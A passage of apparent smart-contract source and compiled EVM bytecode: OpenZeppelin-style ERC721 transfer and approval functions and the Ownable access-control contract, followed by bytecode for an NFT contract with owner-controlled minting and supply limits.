@dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
0x6080604052600436106102725760003560e01c80636352211e1161014f578063bd34fc57116100c1578063dce3a2bf1161007a578063dce3a2bf14610926578063dee816e614610951578063e8a3d4851461097c578063e985e9c5146109a7578063f2fde38b146109e4578063f8293dc014610a0d57610272565b8063bd34fc5714610816578063c3e79c0114610841578063c87b56dd1461087e578063d3381438146108bb578063d6eec46a146108e4578063dba7242b1461090f57610272565b806395d89b411161011357806395d89b411461072c5780639c12366114610757578063a22cb46514610782578063ae4384f1146107ab578063b0897d18146107d6578063b88d4fde146107ed57610272565b80636352211e1461064757806370a0823114610684578063715018a6146106c15780638da5cb5b146106d8578063938e3d7b1461070357610272565b80633354fe34116101e85780634f6ccce7116101ac5780634f6ccce71461052357806355f804b3146105605780635858aa261461058957806359c09529146105c65780635dfab17c146105f15780636301dccf1461061c57610272565b80633354fe34146104715780633ccfd60b1461049c57806342842e0e146104b357806347fc6e76146104dc5780634d192b831461050757610272565b8063163e1e611161023a578063163e1e611461037057806318160ddd1461039957806323b872dd146103c457806324123cc4146103ed5780632cbcdbd4146104095780632f745c591461043457610272565b806301ffc9a7146102775780630532096a146102b457806306fdde03146102df578063081812fc1461030a578063095ea7b314610347575b600080fd5b34801561028357600080fd5b5061029e60048036038101906102999190613855565b610a38565b6040516102ab919061389d565b60405180910390f35b3480156102c057600080fd5b506102c9610ab2565b6040516102d691906138d1565b60405180910390f35b3480156102eb57600080fd5b506102f4610ab7565b6040516103019190613985565b60405180910390f35b34801561031657600080fd5b50610331600480360381019061032c91906139d3565b610b49565b60405161033e9190613a41565b60405180910390f35b34801561035357600080fd5b5061036e60048036038101906103699190613a88565b610bce565b005b34801561037c57600080fd5b5061039760048036038101906103929190613b2d565b610ce6565b005b3480156103a557600080fd5b506103ae610e92565b6040516103bb91906138d1565b60405180910390f35b3480156103d057600080fd5b506103eb60048036038101906103e69190613b7a565b610e9f565b005b61040760048036038101906104029190613cfd565b610eff565b005b34801561041557600080fd5b5061041e611223565b60405161042b91906138d1565b60405180910390f35b34801561044057600080fd5b5061045b60048036038101906104569190613a88565b611235565b60405161046891906138d1565b60405180910390f35b34801561047d57600080fd5b506104866112da565b60405161049391906138d1565b60405180910390f35b3480156104a857600080fd5b506104b16112df565b005b3480156104bf57600080fd5b506104da60048036038101906104d59190613b7a565b6113e7565b005b3480156104e857600080fd5b506104f1611407565b6040516104fe91906138d1565b60405180910390f35b610521600480360381019061051c91906139d3565b61140d565b005b34801561052f57600080fd5b5061054a600480360381019061054591906139d3565b61160e565b60405161055791906138d1565b60405180910390f35b34801561056c57600080fd5b5061058760048036038101906105829190613dc2565b61167f565b005b34801561059557600080fd5b506105b060048036038101906105ab9190613e0f565b611711565b6040516105bd9190613a41565b60405180910390f35b3480156105d257600080fd5b506105db61177d565b6040516105e8919061389d565b60405180910390f35b3480156105fd57600080fd5b50610606611790565b60405161061391906138d1565b60405180910390f35b34801561062857600080fd5b50610631611795565b60405161063e9190613e97565b60405180910390f35b34801561065357600080fd5b5061066e600480360381019061066991906139d3565b6117b9565b60405161067b9190613a41565b60405180910390f35b34801561069057600080fd5b506106ab60048036038101906106a69190613eb2565b61186b565b6040516106b891906138d1565b60405180910390f35b3480156106cd57600080fd5b506106d6611923565b005b3480156106e457600080fd5b506106ed6119ab565b6040516106fa9190613a41565b60405180910390f35b34801561070f57600080fd5b5061072a60048036038101906107259190613dc2565b6119d4565b005b34801561073857600080fd5b50610741611a66565b60405161074e9190613985565b60405180910390f35b34801561076357600080fd5b5061076c611af8565b60405161077991906138d1565b60405180910390f35b34801561078e57600080fd5b506107a960048036038101906107a49190613f0b565b611afe565b005b3480156107b757600080fd5b506107c0611c7f565b6040516107cd919061389d565b60405180910390f35b3480156107e257600080fd5b506107eb611c92565b005b3480156107f957600080fd5b50610814600480360381019061080f9190613f4b565b611d3a565b005b34801561082257600080fd5b5061082b611d9c565b60405161083891906138d1565b60405180910390f35b34801561084d57600080fd5b5061086860048036038101906108639190613eb2565b611da2565b60405161087591906138d1565b60405180910390f35b34801561088a57600080fd5b506108a560048036038101906108a091906139d3565b611dba565b6040516108b29190613985565b60405180910390f35b3480156108c757600080fd5b506108e260048036038101906108dd9190613eb2565b611e36565b005b3480156108f057600080fd5b506108f9611ef6565b60405161090691906138d1565b60405180910390f35b34801561091b57600080fd5b50610924611f01565b005b34801561093257600080fd5b5061093b611fa9565b60405161094891906138d1565b60405180910390f35b34801561095d57600080fd5b50610966611faf565b60405161097391906138d1565b60405180910390f35b34801561098857600080fd5b50610991611fb5565b60405161099e9190613985565b60405180910390f35b3480156109b357600080fd5b506109ce60048036038101906109c99190613fce565b612047565b6040516109db919061389d565b60405180910390f35b3480156109f057600080fd5b50610a0b6004803603810190610a069190613eb2565b6120db565b005b348015610a1957600080fd5b50610a226121d3565b604051610a2f91906138d1565b60405180910390f35b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610aab5750610aaa826121de565b5b9050919050565b600381565b606060018054610ac69061403d565b80601f0160208091040260200160405190810160405280929190818152602001828054610af29061403d565b8015610b3f5780601f10610b1457610100808354040283529160200191610b3f565b820191906000526020600020905b815481529060010190602001808311610b2257829003601f168201915b5050505050905090565b6000610b54826122c0565b610b93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8a906140e1565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610bd9826117b9565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4190614173565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610c6961232c565b73ffffffffffffffffffffffffffffffffffffffff161480610c985750610c9781610c9261232c565b612047565b5b610cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cce90614205565b60405180910390fd5b610ce18383612334565b505050565b610cee61232c565b73ffffffffffffffffffffffffffffffffffffffff16610d0c6119ab565b73ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990614271565b60405180910390fd5b61115c82829050610d71610e92565b610d7b91906142c0565b1115610dbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db390614362565b60405180910390fd5b606482829050601154610dcf91906142c0565b1115610e10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e07906143ce565b60405180910390fd5b60005b82829050811015610e8d5760116000815480929190610e31906143ee565b9190505550610e7a838383818110610e4c57610e4b614437565b5b9050602002016020810190610e619190613eb2565b6001610e6b610e92565b610e7591906142c0565b6123ed565b8080610e85906143ee565b915050610e13565b505050565b6000600980549050905090565b610eb0610eaa61232c565b8261240b565b610eef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee6906144d8565b60405180910390fd5b610efa8383836124e9565b505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f43338484611711565b73ffffffffffffffffffffffffffffffffffffffff1614610f99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9090614544565b60405180910390fd5b601260009054906101000a900460ff16610fe8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fdf906145b0565b60405180910390fd5b61115c83610ff4610e92565b610ffe91906142c0565b111561103f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103690614362565b60405180910390fd5b6103e883600f5461105091906142c0565b1115611091576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110889061461c565b60405180910390fd5b600383600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110de91906142c0565b111561111f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611116906146ae565b60405180910390fd5b82666a94d74f43000061113291906146ce565b341015611174576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116b90614774565b60405180910390fd5b82600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111c391906142c0565b9250508190555060005b8381101561121d57600f60008154809291906111e8906143ee565b919050555061120a3360016111fb610e92565b61120591906142c0565b6123ed565b8080611215906143ee565b9150506111cd565b50505050565b606461115c6112329190614794565b81565b60006112408361186b565b8210611281576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112789061483a565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b606481565b6112e761232c565b73ffffffffffffffffffffffffffffffffffffffff166113056119ab565b73ffffffffffffffffffffffffffffffffffffffff161461135b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135290614271565b60405180910390fd5b6000471161139e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611395906148a6565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156113e4573d6000803e3d6000fd5b50565b61140283838360405180602001604052806000815250611d3a565b505050565b6103e881565b601260019054906101000a900460ff1661145c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145390614912565b60405180910390fd5b61115c81611468610e92565b61147291906142c0565b11156114b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114aa90614362565b60405180910390fd5b606461115c6114c29190614794565b81601054600f546114d391906142c0565b6114dd91906142c0565b111561151e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115159061497e565b60405180910390fd5b6007811115611562576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155990614a10565b60405180910390fd5b80668e1bc9bf04000061157591906146ce565b3410156115b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ae90614774565b60405180910390fd5b60005b8181101561160a57601060008154809291906115d5906143ee565b91905055506115f73360016115e8610e92565b6115f291906142c0565b6123ed565b8080611602906143ee565b9150506115ba565b5050565b6000611618610e92565b8210611659576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165090614aa2565b60405180910390fd5b6009828154811061166d5761166c614437565b5b90600052602060002001549050919050565b61168761232c565b73ffffffffffffffffffffffffffffffffffffffff166116a56119ab565b73ffffffffffffffffffffffffffffffffffffffff16146116fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f290614271565b60405180910390fd5b8181600d919061170c929190613746565b505050565b6000806117677f680b772c0ec4675960b688c733903d940dd27ba2084c6a2e2d98c8b8e1d67390868660405160200161174c93929190614ac2565b60405160208183030381529060405280519060200120612745565b9050611773818461275f565b9150509392505050565b601260009054906101000a900460ff1681565b600781565b7f680b772c0ec4675960b688c733903d940dd27ba2084c6a2e2d98c8b8e1d6739081565b6000806003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611862576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185990614b6b565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d390614bfd565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61192b61232c565b73ffffffffffffffffffffffffffffffffffffffff166119496119ab565b73ffffffffffffffffffffffffffffffffffffffff161461199f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199690614271565b60405180910390fd5b6119a96000612786565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6119dc61232c565b73ffffffffffffffffffffffffffffffffffffffff166119fa6119ab565b73ffffffffffffffffffffffffffffffffffffffff1614611a50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4790614271565b60405180910390fd5b8181600c9190611a61929190613746565b505050565b606060028054611a759061403d565b80601f0160208091040260200160405190810160405280929190818152602001828054611aa19061403d565b8015611aee5780601f10611ac357610100808354040283529160200191611aee565b820191906000526020600020905b815481529060010190602001808311611ad157829003601f168201915b5050505050905090565b60105481565b611b0661232c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6b90614c69565b60405180910390fd5b8060066000611b8161232c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611c2e61232c565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611c73919061389d565b60405180910390a35050565b601260019054906101000a900460ff1681565b611c9a61232c565b73ffffffffffffffffffffffffffffffffffffffff16611cb86119ab565b73ffffffffffffffffffffffffffffffffffffffff1614611d0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0590614271565b60405180910390fd5b601260009054906101000a900460ff1615601260006101000a81548160ff021916908315150217905550565b611d4b611d4561232c565b8361240b565b611d8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d81906144d8565b60405180910390fd5b611d968484848461284a565b50505050565b60115481565b600e6020528060005260406000206000915090505481565b6060611dc5826122c0565b611e04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dfb90614cd5565b60405180910390fd5b600d611e0f836128a6565b604051602001611e20929190614dc5565b6040516020818303038152906040529050919050565b611e3e61232c565b73ffffffffffffffffffffffffffffffffffffffff16611e5c6119ab565b73ffffffffffffffffffffffffffffffffffffffff1614611eb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea990614271565b60405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b668e1bc9bf04000081565b611f0961232c565b73ffffffffffffffffffffffffffffffffffffffff16611f276119ab565b73ffffffffffffffffffffffffffffffffffffffff1614611f7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7490614271565b60405180910390fd5b601260019054906101000a900460ff1615601260016101000a81548160ff021916908315150217905550565b600f5481565b61115c81565b6060600c8054611fc49061403d565b80601f0160208091040260200160405190810160405280929190818152602001828054611ff09061403d565b801561203d5780601f106120125761010080835404028352916020019161203d565b820191906000526020600020905b81548152906001019060200180831161202057829003601f168201915b5050505050905090565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6120e361232c565b73ffffffffffffffffffffffffffffffffffffffff166121016119ab565b73ffffffffffffffffffffffffffffffffffffffff1614612157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214e90614271565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156121c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121be90614e5b565b60405180910390fd5b6121d081612786565b50565b666a94d74f43000081565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806122a957507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806122b957506122b882612a07565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816005600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff166123a7836117b9565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b612407828260405180602001604052806000815250612a71565b5050565b6000612416826122c0565b612455576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244c90614eed565b60405180910390fd5b6000612460836117b9565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806124cf57508373ffffffffffffffffffffffffffffffffffffffff166124b784610b49565b73ffffffffffffffffffffffffffffffffffffffff16145b806124e057506124df8185612047565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16612509826117b9565b73ffffffffffffffffffffffffffffffffffffffff161461255f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255690614f7f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156125cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125c690615011565b60405180910390fd5b6125da838383612acc565b6125e5600082612334565b6001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126359190614794565b925050819055506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461268c91906142c0565b92505081905550816003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000612758612752612be0565b83612ca3565b9050919050565b600080600061276e8585612cd6565b9150915061277b81612d59565b819250505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6128558484846124e9565b61286184848484612f2e565b6128a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612897906150a3565b60405180910390fd5b50505050565b606060008214156128ee576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612a02565b600082905060005b60008214612920578080612909906143ee565b915050600a8261291991906150f2565b91506128f6565b60008167ffffffffffffffff81111561293c5761293b613bd2565b5b6040519080825280601f01601f19166020018201604052801561296e5781602001600182028036833780820191505090505b5090505b600085146129fb576001826129879190614794565b9150600a856129969190615123565b60306129a291906142c0565b60f81b8183815181106129b8576129b7614437565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856129f491906150f2565b9450612972565b8093505050505b919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b612a7b83836130c5565b612a886000848484612f2e565b612ac7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612abe906150a3565b60405180910390fd5b505050565b612ad7838383613293565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b1a57612b1581613298565b612b59565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612b5857612b5783826132e1565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612b9c57612b978161344e565b612bdb565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612bda57612bd9828261351f565b5b5b505050565b60007f0000000000000000000000000000000000000000000000000000000000000001461415612c32577f567da986f44c82e2d57fa29d33d8fa04a8cc3e1e26584b619de1818113b7e5c59050612ca0565b612c9d7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f7ff5328aabe708e7c1630eb86546a96c4ba1785b226f9aabe1ff78ee29e19f83e17fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc661359e565b90505b90565b60008282604051602001612cb89291906151c1565b60405160208183030381529060405280519060200120905092915050565b600080604183511415612d185760008060006020860151925060408601519150606086015160001a9050612d0c878285856135d8565b94509450505050612d52565b604083511415612d49576000806020850151915060408501519050612d3e8683836136e5565b935093505050612d52565b60006002915091505b9250929050565b60006004811115612d6d57612d6c6151f8565b5b816004811115612d8057612d7f6151f8565b5b1415612d8b57612f2b565b60016004811115612d9f57612d9e6151f8565b5b816004811115612db257612db16151f8565b5b1415612df3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dea90615273565b60405180910390fd5b60026004811115612e0757612e066151f8565b5b816004811115612e1a57612e196151f8565b5b1415612e5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e52906152df565b60405180910390fd5b60036004811115612e6f57612e6e6151f8565b5b816004811115612e8257612e816151f8565b5b1415612ec3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612eba90615371565b60405180910390fd5b600480811115612ed657612ed56151f8565b5b816004811115612ee957612ee86151f8565b5b1415612f2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f2190615403565b60405180910390fd5b5b50565b6000612f4f8473ffffffffffffffffffffffffffffffffffffffff16613733565b156130b8578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612f7861232c565b8786866040518563ffffffff1660e01b8152600401612f9a9493929190615478565b602060405180830381600087803b158015612fb457600080fd5b505af1925050508015612fe557506040513d601f19601f82011682018060405250810190612fe291906154d9565b60015b613068573d8060008114613015576040519150601f19603f3d011682016040523d82523d6000602084013e61301a565b606091505b50600081511415613060576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613057906150a3565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149150506130bd565b600190505b949350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613135576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161312c90615552565b60405180910390fd5b61313e816122c0565b1561317e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613175906155be565b60405180910390fd5b61318a60008383612acc565b6001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546131da91906142c0565b92505081905550816003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b505050565b600980549050600a600083815260200190815260200160002081905550600981908060018154018082558091505060019003906000526020600020016000909190919091505550565b600060016132ee8461186b565b6132f89190614794565b90506000600860008481526020019081526020016000205490508181146133dd576000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816008600083815260200190815260200160002081905550505b6008600084815260200190815260200160002060009055600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b600060016009805490506134629190614794565b90506000600a600084815260200190815260200160002054905060006009838154811061349257613491614437565b5b9060005260206000200154905080600983815481106134b4576134b3614437565b5b906000526020600020018190555081600a600083815260200190815260200160002081905550600a6000858152602001908152602001600020600090556009805480613503576135026155de565b5b6001900381819060005260206000200160009055905550505050565b600061352a8361186b565b905081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806008600084815260200190815260200160002081905550505050565b600083838346306040516020016135b995949392919061560d565b6040516020818303038152906040528051906020012090509392505050565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08360001c11156136135760006003915091506136dc565b601b8560ff161415801561362b5750601c8560ff1614155b1561363d5760006004915091506136dc565b600060018787878760405160008152602001604052604051613662949392919061567c565b6020604051602081039080840390855afa158015613684573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156136d3576000600192509250506136dc565b80600092509250505b94509492505050565b6000806000807f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff85169150601b8560ff1c019050613725878288856135d8565b935093505050935093915050565b600080823b905060008111915050919050565b8280546137529061403d565b90600052602060002090601f01602090048101928261377457600085556137bb565b82601f1061378d57803560ff19168380011785556137bb565b828001600101855582156137bb579182015b828111156137ba57823582559160200191906001019061379f565b5b5090506137c891906137cc565b5090565b5b808211156137e55760008160009055506001016137cd565b5090565b6000604051905090565b600080fd5b600080fd5b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b613832816137fd565b811461383d57600080fd5b50565b60008135905061384f81613829565b92915050565b60006020828403121561386b5761386a6137f3565b5b600061387984828501613840565b91505092915050565b60008115159050919050565b61389781613882565b82525050565b60006020820190506138b2600083018461388e565b92915050565b6000819050919050565b6138cb816138b8565b82525050565b60006020820190506138e660008301846138c2565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561392657808201518184015260208101905061390b565b83811115613935576000848401525b50505050565b6000601f19601f8301169050919050565b6000613957826138ec565b61396181856138f7565b9350613971818560208601613908565b61397a8161393b565b840191505092915050565b6000602082019050818103600083015261399f818461394c565b905092915050565b6139b0816138b8565b81146139bb57600080fd5b50565b6000813590506139cd816139a7565b92915050565b6000602082840312156139e9576139e86137f3565b5b60006139f7848285016139be565b91505092915050565b600073fffffffffffffffff